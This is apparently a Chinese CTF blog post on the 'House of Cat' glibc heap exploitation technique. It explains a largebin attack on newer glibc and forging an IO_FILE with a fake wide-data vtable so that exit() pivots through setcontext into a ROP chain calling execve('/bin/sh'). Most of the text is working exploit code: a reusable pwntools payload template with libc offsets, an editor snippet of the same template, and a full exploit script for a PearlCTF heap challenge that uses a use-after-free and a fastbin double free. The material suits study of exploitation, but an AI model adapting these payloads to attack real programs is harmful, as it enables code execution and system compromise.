# house of cat
# Why cat?
众所周知,自从 glibc2.34 以后,glibc 的一堆 hook 都被删除了。比如 malloc_hook free_hook realloc_hook。为了应对这种情况,于是利用 IO_FILE 来攻击结构体来 getSHELL
cat 直到最新的 libc 都是可以用的!!!
# Prepare:Largebin Attack after 2.30
众所周知,自从 2.30 的 glibc 之后,添加了对 largebin 的检查
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) | |
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); | |
if (bck->fd != fwd) | |
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); |
于是常规了 largebin attack 无法使用了。
但是,这个检查只针对当前 chunk 大于当前 list 里的 chunk 的情况,但是对于小于这些 list 中的 chunk 的情况没有检查(因为他只检查了 nextsize 的 fwd 的链表)
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) | |
{ | |
fwd = bck; | |
bck = bck->bk; | |
victim->fd_nextsize = fwd->fd; | |
victim->bk_nextsize = fwd->fd->bk_nextsize; // 1 | |
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2 | |
} | |
else | |
... |
可以看到 victim->bk_nextsize->fd_nextsize = victim; 由于前面进行了 victim->bk_nextsize 的修改,实际上是 fwd->fd->bk_nextsize->fd_nextsize。
此时如果这个 list 原本就有一个 chunkA,并且我们把他的 bk_nextsize 修改为 target-0x20,那么我们再添加一个略微小的 chunkB,那么这时候就可以让 (target-0x20)->fd_nextsize 被修改为 chunkB 的地址。
那么我们就可以修改 IO_list_all 的数值为一个 chunk 的地址,那么我们就可以在 chunk 里伪造 IO_FILE 结构体从而调用某些东西来 get SHELL
# main—process
一种可行的调用链为 exit () -> _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) -> _IO_switch_to_wget_mode ( * fp ) -> _IO_WOVERFLOW (fp, WEOF)
但是最后一个是个宏
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) | |
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) |
最终调用的是
#define _IO_WIDE_JUMPS(THIS) \ | |
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable | |
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \ | |
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ | |
+ offsetof(TYPE, MEMBER))) |
_wide_vtable 就是 vtable
struct _IO_jump_t | |
{ | |
JUMP_FIELD(size_t, __dummy); | |
JUMP_FIELD(size_t, __dummy2); | |
JUMP_FIELD(_IO_finish_t, __finish); | |
JUMP_FIELD(_IO_overflow_t, __overflow); | |
JUMP_FIELD(_IO_underflow_t, __underflow); | |
JUMP_FIELD(_IO_underflow_t, __uflow); | |
JUMP_FIELD(_IO_pbackfail_t, __pbackfail); | |
/* showmany */ | |
JUMP_FIELD(_IO_xsputn_t, __xsputn); | |
JUMP_FIELD(_IO_xsgetn_t, __xsgetn); | |
JUMP_FIELD(_IO_seekoff_t, __seekoff); | |
JUMP_FIELD(_IO_seekpos_t, __seekpos); | |
JUMP_FIELD(_IO_setbuf_t, __setbuf); | |
JUMP_FIELD(_IO_sync_t, __sync); | |
JUMP_FIELD(_IO_doallocate_t, __doallocate); | |
JUMP_FIELD(_IO_read_t, __read); | |
JUMP_FIELD(_IO_write_t, __write); | |
JUMP_FIELD(_IO_seek_t, __seek); | |
JUMP_FIELD(_IO_close_t, __close); | |
JUMP_FIELD(_IO_stat_t, __stat); | |
JUMP_FIELD(_IO_showmanyc_t, __showmanyc); | |
JUMP_FIELD(_IO_imbue_t, __imbue); | |
}; |
所以说实际上他还是根据 IO_FILE 结构体来找 vtable 来调用函数的。
如果他从是我们伪造的 IO_FILE 结构体中找的 vtable,由于_IO_switch_to_wget_mode 在调用 vtable 的时候没有进行检查,所以我们的 vtable 也就不用一定在那个被保护的段里面了。
具体看图:
于是我们直接根据汇编造 fake 的结构体就行了。
# 模板
ru("0x") | |
libcbase=int(r(12),16) | |
LOGTOOL['libcbase']=libcbase | |
ru("0x") | |
fake_io=int(r(12),16) | |
LOGTOOL['fake_io']=fake_io # chunk_start (prev_size) | |
IO_file_jumps=libcbase+0x216600 | |
LOGTOOL["IO_file_jump"]=IO_file_jumps | |
IO_wfile_jumps=libcbase+0x2160C0 | |
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps | |
execve_addr=libcbase+0xeb080 | |
LOGTOOL['execve']=execve_addr | |
setcontext_61=libcbase+0x539E0+61 | |
LOGTOOL['setcontext_61']=setcontext_61 | |
lr=libcbase+0x4da83 | |
ret=libcbase+0x29139 | |
pop_rdi=libcbase+0x2a3e5 | |
pop_rsi=libcbase+0x002be51 | |
pop_rdx=libcbase+0x0796a2 | |
rop=b'/bin/sh\x00' | |
pay=flat( | |
{ | |
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data | |
0xa0:[p64(fake_io+0x30)], | |
0xc0:[p64(1)], #_mode | |
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable | |
0x110:[p64(fake_io+0x118)], # wide_data -> vtable | |
0x118:flat( | |
{ | |
0x18:[p64(setcontext_61)] | |
},filler=b'\x00' | |
), | |
0x138:flat( | |
{ | |
0x68:p64(fake_io+0x1e8), # rdi | |
0x70:p64(0), # rsi | |
0x88:p64(0), # rdx | |
0xa0:p64(fake_io+0x1e8), # rsp | |
0xa8:p64(ret) # ret_addr | |
},filler=b'\x00' | |
), | |
0x1e8:flat( | |
{ | |
0x00:p64(pop_rdi)+p64(libcbase+0x01d8698)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr) | |
},filler=b'\x00' | |
) | |
},filler=b'\x00' | |
) | |
s(pay[0x10:]) |
VSCode-Snippets 形式:
"House of Cat": { | |
"prefix": "cat-payload", | |
"body": [ | |
"ru(\"0x\")\nlibcbase=int(r(12),16)\nLOGTOOL['libcbase']=libcbase\n\nru(\"0x\")\nfake_io=int(r(12),16)\n", | |
"LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)\n\nIO_file_jumps=libcbase+0x216600\nLOGTOOL[\"IO_file_jump\"]=IO_file_jumps", | |
"\n\nIO_wfile_jumps=libcbase+0x2160C0\nLOGTOOL[\"IO_wfile_jumps\"]=IO_wfile_jumps\n\nexecve_addr=libcbase+0xeb080\nLOGTOOL['execve']=execve_addr", | |
"\n\nsetcontext_61=libcbase+0x539E0+61\nLOGTOOL['setcontext_61']=setcontext_61\n\nlr=libcbase+0x4da83\nret=libcbase+0x29139\npop_rdi=libcbase+0x2a3e5 \npop_rsi=libcbase+0x002be51\npop_rdx=libcbase+0x0796a2 ", | |
"\n\nrop=b'/bin/sh\\x00'\n\npay=flat(\n{\n0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data", | |
"\n0xa0:[p64(fake_io+0x30)],\n0xc0:[p64(1)], #_mode\n0xd8:[p64(IO_wfile_jumps+0x30)], # vtable\n0x110:[p64(fake_io+0x118)], # wide_data -> vtable", | |
"\n\n0x118:flat(\n{\n0x18:[p64(setcontext_61)]\n},filler=b'\\x00'\n),\n\n0x138:flat(\n{\n0x68:p64(fake_io+0x1e8), # rdi \n0x70:p64(0), # rsi\n0x88:p64(0), # rdx", | |
"\n0xa0:p64(fake_io+0x1e8), # rsp\n0xa8:p64(ret) # ret_addr\n},filler=b'\\x00'\n),\n\n0x1e8:flat(\n{\n0x00:p64(pop_rdi)+p64(libcbase+0x01d8698)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr)", | |
"\n},filler=b'\\x00'\n)\n\n\n},filler=b'\\x00'\n)\ns(pay[0x10:])" | |
], | |
"description": "Payload template of House of Cat.(IO_FILE)" | |
} |
# 另一种调用链
修改 / 伪造 stderr 结构体,然后引发 malloc 相关的报错来调用函数。基本上一样。
# 实战
# pearl ctf (一周前的比赛)
一周前的比赛,pwn 签到就是这个 2.35 的 heap
明显的 UAF,free 之后指针没有清零。限制了 15 个 chunk,但是不意味着只能使用 15 次 malloc。
同时限制了 malloc 的 chunk 的 size 最大 0x200
其他没有啥奇怪的。
直接 fastbin double free,但是自从 2.34 之后 fastbin 和 Tcache 加入了指针异或保护,对策就是泄露 heap 基址异或一下。
当然毋庸置疑要 leak libc 基址。这个就很简单,不说了。
修改 chunk 的 fd 为 target 之后,我们可以发现这个 chunk 现在是位于 Tcache 中。因为我们构造的 fastbin 链表 A->B->A,在 mallocA 之后会把 B 和 A 放入 Tcachebin 中,那么取出的时候保护就等于没有。(因为 Tcache 的检查基本都在 free 那里)
我们直接让 Target 为 IO_list_all,申请到这里的 chunk 之后我们修改它为一个 chunk 的地址,那个 chunk 我们之前是伪造了 IO_FILE 结构体的,那么我们就能利用 exit () 来 getshell 了。
这题的 chunk size 的限制估计是出题人故意卡在 0x200 的,因为这个伪造的 IO_FILE 结构体的大小正好是 0x1f0,加上 chunk 头就正好 0x200.
其实这题不一定要打 IO_FILE,尤其是 cat,因为这个 0x200 的 size 卡的实在是凑巧了,如果给的是 0x100 估计就不好说了。
那么这时候打 libc 的 got 表 + one_gadget 或许是一个更好的选择。
感觉 house of cat 还是在 size 限制在只是 largebin 范围的时候使用才是最合适的。(毕竟 largebin attack 只能写一个地址才叫极限)
这题为了练习一下 cat 所以用的 cat。
EXP:
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn | |
from pwn import* | |
from Crypto.Util.number import long_to_bytes,bytes_to_long | |
context.log_level='debug' | |
context(arch='amd64',os='linux') | |
context.terminal=['tmux','splitw','-h'] | |
pwn = './heap' | |
#p=remote(' ',) | |
p=process(['./ld-linux-x86-64.so.2', pwn], env={"LD_PRELOAD":'./libc.so.6'}) | |
# p=process('') | |
# gdb.attach(p) | |
#elf=ELF(pwn) | |
#libc=ELF('./libc.so.6') | |
# p.interactive() | |
def debug(): | |
global p | |
text_base, libc_base = get_base(p, 'noka') | |
script = ''' | |
set $text_base = {} | |
set $libc_base = {} | |
b _IO_flush_all_lockp | |
b exit | |
b _IO_wfile_seekoff | |
b _IO_switch_to_wget_mode | |
'''.format(text_base, libc_base) | |
#b*$rebase(0x1813) | |
#b*$rebase(0x18e5) | |
#b mprotect | |
#b *($text_base+0x0000000000000000F84) | |
#b *($text_base+0x000000000000134C) | |
# b *($text_base+0x0000000000000000001126) | |
#dprintf *($text_base+0x04441),"%c",$ax | |
#dprintf *($text_base+0x04441),"%c",$ax | |
#0x12D5 | |
#0x04441 | |
#b *($text_base+0x0000000000001671) | |
gdb.attach(p, script) | |
rut=lambda s :p.recvuntil(s,timeout=0.3) | |
ru=lambda s :p.recvuntil(s) | |
r=lambda n :p.recv(n) | |
sl=lambda s :p.sendline(s) | |
sls=lambda s :p.sendline(str(s)) | |
ss=lambda s :p.send(str(s)) | |
s=lambda s :p.send(s) | |
uu64=lambda data :u64 (data.ljust(8,'\x00')) | |
it=lambda :p.interactive() | |
b=lambda :gdb.attach(p) | |
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp)) | |
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) | |
LOGTOOL={} | |
def LOGALL(): | |
log.success("**** all result ****") | |
for i in LOGTOOL.items(): | |
log.success("%-20s%s"%(i[0]+":",hex(i[1]))) | |
def get_base(a, text_name): | |
text_addr = 0 | |
libc_base = 0 | |
for name, addr in a.libs().items(): | |
if text_name in name: | |
text_addr = addr | |
elif "libc" in name: | |
libc_base = addr | |
return text_addr, libc_base | |
def ptrxor(pos,ptr): | |
return p64((pos >> 12) ^ ptr) | |
def create_link_map(l_addr,know_got,link_map_addr): | |
link_map=p64(l_addr & (2 ** 64 - 1)) | |
#dyn_relplt | |
link_map+=p64(0) | |
link_map+=p64(link_map_addr+0x18) #ptr2relplt | |
#relplt | |
link_map+=p64((know_got - l_addr)&(2**64-1)) | |
link_map+=p64(0x7) | |
link_map+=p64(0) | |
#dyn_symtab | |
link_map+=p64(0) | |
link_map+=p64(know_got-0x8) | |
link_map+=b'/flag\x00\0\x00' | |
link_map=link_map.ljust(0x68,b'B') | |
link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr | |
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr | |
link_map=link_map.ljust(0xf8,b'C') | |
link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr | |
return link_map | |
# 1. Create note\n2. Delete note\n3. View notes\n4. Exit | |
def add(idx,size,con): | |
ru("Enter choice") | |
sl("1") | |
ru("Note Index") | |
sl(str(idx)) | |
ru("Note Size") | |
sl(str(size)) | |
ru("Note Content >") | |
sl(con) | |
def dele(idx): | |
ru("Enter choice") | |
sl("2") | |
ru("Note Index") | |
sl(str(idx)) | |
def view(idx): | |
ru("Enter choice") | |
sl("3") | |
ru("Note Index") | |
sl(str(idx)) | |
def hack(): | |
ru("Enter choice") | |
sl("4") | |
add(7,0x100,b'a') | |
add(8,0x100,b'a') | |
add(9,0x100,b'a') | |
add(0,0x100,b'a') | |
add(1,0x100,b'a') | |
add(2,0x100,b'a') | |
add(3,0x100,b'a') | |
add(4,0x100,b'a') | |
add(5,0x100,b'a') | |
add(6,0x100,b'a') | |
dele(0) | |
dele(1) | |
dele(2) | |
dele(3) | |
dele(4) | |
dele(5) | |
dele(6) | |
dele(7) | |
view(7) | |
p.recv() | |
addr=u64(p.recv(6)+b'\x00\x00') | |
base=addr-(0x7f7546619ce0-0x7f7546400000) | |
fake=base+0x21A680-0x23 | |
print(hex(base)) | |
dele(9) | |
view(9) | |
p.recv() | |
heap_add=u64(p.recv(6)+b'\x00\x00') | |
heap_base=heap_add-0x290 | |
print(hex(heap_base)) | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(0,0x100,b'a') | |
add(7,0x68,b'a') | |
add(8,0x68,b'a') | |
add(9,0x68,b'a') | |
add(0,0x68,b'a') | |
add(1,0x68,b'a') | |
add(2,0x68,b'a') | |
add(3,0x68,b'a') | |
add(4,0x68,b'a') | |
add(5,0x68,b'a') | |
add(6,0x68,b'a') | |
dele(0) | |
dele(1) | |
dele(2) | |
dele(3) | |
dele(4) | |
dele(5) | |
dele(6) | |
dele(7) | |
dele(9) | |
dele(7) | |
xxx=heap_add>>12 | |
fakeio=heap_base+0x5555563f2190-0x5555563f1000 | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(0,0x68,p64(fake^xxx)+p64(0)) | |
add(10,0x68,p64((fake+0x23)^xxx)+p64(0)) | |
add(10,0x68,p64((fake+0x23)^xxx)+p64(0)) | |
add(10,0x68,p64((fake+0x23)^xxx)+p64(0)) | |
add(10,0x68,p64(fakeio)+p64(0)) | |
libcbase=base | |
LOGTOOL['libcbase']=libcbase | |
fake_io=fakeio | |
LOGTOOL['fake_io']=fake_io # chunk_start (prev_size) | |
IO_file_jumps=libcbase+0x216600 | |
LOGTOOL["IO_file_jump"]=IO_file_jumps | |
IO_wfile_jumps=libcbase+0x2160C0 | |
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps | |
execve_addr=libcbase+0xeb0f0 | |
LOGTOOL['execve']=execve_addr | |
setcontext_61=libcbase+0x53a30+61 | |
LOGTOOL['setcontext_61']=setcontext_61 | |
lr=libcbase+0x562ec | |
ret=libcbase+0x29cd6 | |
pop_rdi=libcbase+0x2a3e5 | |
pop_rsi=libcbase+0x2be51 | |
pop_rdx2=libcbase+0x90529 | |
system=base+0x50d60 | |
rop=b'/bin/sh\x00' | |
pay=flat( | |
{ | |
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data | |
0xa0:[p64(fake_io+0x30)], | |
0xc0:[p64(1)], #_mode | |
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable | |
0x110:[p64(fake_io+0x118)], # wide_data -> vtable | |
0x118:flat( | |
{ | |
0x18:[p64(setcontext_61)] | |
},filler=b'\x00' | |
), | |
0x138:flat( | |
{ | |
0x68:p64(fake_io+0x1e8), # rdi | |
0x70:p64(0), # rsi | |
0x88:p64(0), # rdx | |
0xa0:p64(fake_io+0x1e8), # rsp | |
0xa8:p64(system) # ret_addr | |
},filler=b'\x00' | |
), | |
0x1e8:flat( | |
{ | |
0x00:rop | |
},filler=b'\x00' | |
) | |
},filler=b'\x00' | |
) | |
add(15,0x200,pay[0x10:]) | |
debug() | |
hack() | |
LOGALL() | |
it() |